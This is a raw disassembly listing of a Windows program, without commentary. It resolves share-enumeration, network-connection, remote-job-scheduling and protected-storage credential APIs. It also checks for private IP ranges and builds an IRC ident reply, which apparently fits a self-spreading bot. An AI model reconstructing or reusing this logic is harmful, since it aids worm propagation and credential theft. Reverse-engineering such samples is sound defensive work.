loc_403BCF push dword ptr [ebp+8] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: cAddress:00403BC4j pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: cAddress:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call dword_417058 ; GetProcAddress mov dword_41DE10, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE18, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE1C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE20, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE24, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE28, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE2C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE30, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE34, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE38, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE3C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE40, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE44, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE48, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE54, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE58, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE5C, eax cmp dword_41DE54, 0 jz short loc_403D85 cmp dword_41DE58, 0 jz short loc_403D85 cmp dword_41DE5C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DE54, offset loc_403588 mov dword_41DE58, offset loc_4038BA mov dword_41DE5C, offset loc_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call dword_417058 ; GetProcAddress mov dword_41DE50, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call dword_417058 ; GetProcAddress mov dword_41DE4C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; --------------------------------------------------------------------------- loc_403DF3: ; DATA XREF: sub_403FE5+89o push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push dword ptr [ebp+8] lea eax, [ebp-11B0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp-11ACh] push eax call sub_4046BC pop ecx pop ecx mov [ebp-11B4h], eax cmp dword ptr [ebp-11B4h], 0 jnz short loc_403E52 push dword ptr [ebp-11B0h] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: cAddress:00403E3Dj lea eax, [ebp-11ACh] push eax mov eax, [ebp-11B0h] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp-11A6h] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: cAddress:00403EB0j ; cAddress:00403F02j ... push 3E8h push dword ptr [ebp-11B4h] call sub_4048EF pop ecx pop ecx mov [ebp-11B8h], eax mov eax, [ebp-11B0h] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp dword ptr [ebp-11B8h], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: cAddress:00403E97j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: cAddress:00403EA0j cmp dword ptr [ebp-11B8h], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: cAddress:00403EAEj push 1000h lea eax, [ebp-1000h] push eax push dword ptr [ebp-11B8h] call sub_4053DC add esp, 0Ch mov [ebp-1228h], eax cmp dword ptr [ebp-1228h], 0 jz short loc_403EF6 cmp dword ptr [ebp-1228h], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp-1000h] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: cAddress:00403ED9j ; cAddress:00403EE2j push dword ptr [ebp-11B8h] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: cAddress:00403EF4j movsx eax, byte_41EE98 test eax, eax jz short loc_403F27 push offset byte_41EE98 lea eax, [ebp-1224h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: cAddress:00403F10j lea eax, [ebp-1200h] push eax lea eax, [ebp-1224h] push eax lea eax, [ebp-11DCh] push eax call sub_40668F add esp, 0Ch lea eax, [ebp-1224h] push eax push offset byte_41EE98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403F57: ; CODE XREF: cAddress:00403F25j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp-1000h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp-1224h] push eax lea eax, [ebp-1000h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp-1000h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp-1000h] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp-1000h] push eax push dword ptr [ebp-11B8h] call sub_4053BF add esp, 0Ch push dword ptr [ebp-11B8h] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: cAddress:loc_403EA2j push dword ptr [ebp-11B4h] call sub_404CBB pop ecx push dword ptr [ebp-11B0h] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: cAddress:00403E4Dj leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset loc_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: cAddress:00405D57p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: cAddress:00405D37p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset a127_ ; "127." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset a172_ ; "172." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset a192_168_ ; "192.168." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset dword_418A30 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: cAddress:00402C38p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; cAddress:00408CC7p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41EF18 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; cAddress:00413696p ... push ebp mov ebp, esp cmp dword_41E264, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E268 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E264 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E268 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: cAddress:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset a1 ; "::1" call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: cAddress:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset dword_418A1C lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: cAddress:0040755Bp ; cAddress:004075C3p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; cAddress:00411E2Ap var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE58 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: cAddress:0040740Ap ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE58 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: cAddress:004133C4p ; cAddress:004161BFp var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: cAddress:00414541p ; cAddress:00416173p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DE54 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DE5C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: cAddress:004021E6p ; cAddress:00403E29p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DE54 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz 